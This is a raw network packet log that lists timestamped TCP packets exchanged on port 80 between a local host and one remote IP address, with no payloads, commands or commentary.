Nov 15, 2024 10:28:15.784899950 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.784929991 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.784967899 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.785382032 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.785410881 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.785432100 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.785446882 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.785492897 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.785496950 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.785672903 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.785701990 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.785720110 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.793898106 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.793929100 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.793961048 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.795216084 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.795267105 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.795269966 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.848674059 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.863183975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.863236904 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.863308907 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.880497932 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.880532980 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.880585909 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.880667925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.880722046 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.880755901 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.880769014 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.885371923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.885425091 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.885443926 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.887063026 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.887096882 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.887125969 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.894282103 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.894318104 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.894344091 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.894356012 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.894404888 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.901633024 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.901667118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.901726961 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.908288956 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.908323050 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.908387899 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.908543110 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.908598900 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.908648014 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.908734083 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.908817053 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.908849955 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.908860922 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.917192936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.917223930 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.917321920 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.919380903 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.919401884 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.919485092 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.971915960 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.971965075 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.972054958 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.004524946 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.004547119 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.004559994 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.004573107 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.004658937 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.004703045 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.008527040 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.008582115 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.008642912 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.012100935 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.012155056 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.012211084 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.018376112 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.018418074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.018455029 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.018492937 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.025093079 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.025146961 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.025162935 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.025177956 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.025187969 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.025235891 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.031203985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.031215906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.031461954 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.031650066 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.031661034 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.031735897 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.031881094 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.031918049 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.031924009 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.031930923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.031976938 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.041050911 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.041080952 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.041273117 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.042593956 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.042684078 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.042747974 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.095105886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.095133066 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.095318079 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.127188921 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.127209902 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.127223015 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.127235889 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.127249002 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.127304077 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.127329111 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.131773949 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.131808996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.131844997 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.134354115 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.134411097 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.134452105 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.140772104 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.140808105 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.140842915 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.140846014 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.140897989 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.147794008 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.147846937 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.147931099 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.155222893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.155257940 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.155318975 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.155350924 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.155508995 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.155543089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.155556917 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.155579090 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.155612946 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.155622959 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.155647039 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.155689955 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.165740967 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.165776014 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.165808916 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.165934086 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.208235979 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.250289917 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.250325918 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.250339031 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.250412941 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.250688076 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.250710011 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.250720978 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.250739098 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.250752926 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.250763893 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.257718086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.257749081 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.257817030 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.257833004 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.257862091 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.257906914 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.263701916 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.263732910 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.263767004 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.263767958 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.263818979 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.263837099 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.278213978 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.278250933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.278283119 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.278286934 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.278346062 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.278620005 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.278675079 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.278709888 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.278722048 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.278745890 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.278798103 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.278938055 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.278990984 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.279036999 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.289050102 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.289100885 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.289135933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.289170027 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.289206028 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.289335966 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.373817921 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.373867035 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.373903036 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.373938084 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.373974085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.373976946 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.374005079 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.374008894 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.374054909 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.381243944 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.381278038 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.381311893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.381345987 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.381362915 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.381436110 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.387134075 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.387181044 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.387221098 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.387249947 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.401443958 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.401484966 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.401520014 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.401534081 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.401575089 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.401909113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.402028084 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.402061939 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.402076960 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.412359953 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.412415981 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.412439108 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.412450075 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.412513971 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.412538052 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.412573099 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.412621975 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.412689924 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.412841082 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.412887096 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.497863054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.498003006 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.498020887 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.498034000 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.498045921 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.498056889 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.498080969 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.498120070 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.498135090 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.504286051 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.504358053 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.504368067 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.504415989 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.504426956 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.504440069 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.504451036 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.504471064 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.504497051 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.510256052 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.510274887 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.510284901 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.510368109 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.524452925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.524497986 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.524506092 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.524539948 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.524584055 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.524591923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.525023937 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.525068045 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.525130987 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.525141954 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.525185108 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.535677910 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.535702944 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.535715103 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.535747051 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.535831928 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.535844088 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.535888910 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.578572989 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.578684092 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.578746080 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.621083975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.621129990 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.621182919 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.621212959 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.621217012 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.621241093 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.621256113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.621289968 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.621311903 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.627898932 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.627957106 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.627974987 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.628009081 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.628042936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.628065109 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.628086090 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.628139973 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.633510113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.633543968 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.633580923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.633635044 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.647891998 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.647922039 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.647933960 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.647962093 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.647996902 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.648175001 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.648185968 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.648222923 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.648336887 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.648346901 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.648381948 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.658893108 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.658957958 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.658993959 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.659012079 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.659029007 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.659066916 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.659074068 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.659209967 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.659240007 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.659260035 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.708093882 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.743360043 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.743437052 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.743473053 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.743489981 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.743509054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.743542910 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.743552923 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.743581057 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.743623018 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.751041889 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.751108885 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.751121044 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.751133919 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.751144886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.751169920 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.751211882 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.751549006 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.751560926 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.751571894 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.751605988 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.751655102 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.756819963 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.756874084 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.756905079 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.756934881 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.771294117 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.771354914 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.771359921 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.771392107 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.771470070 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.771544933 CET	80	49736	150.241.95.163	192.168.2.4
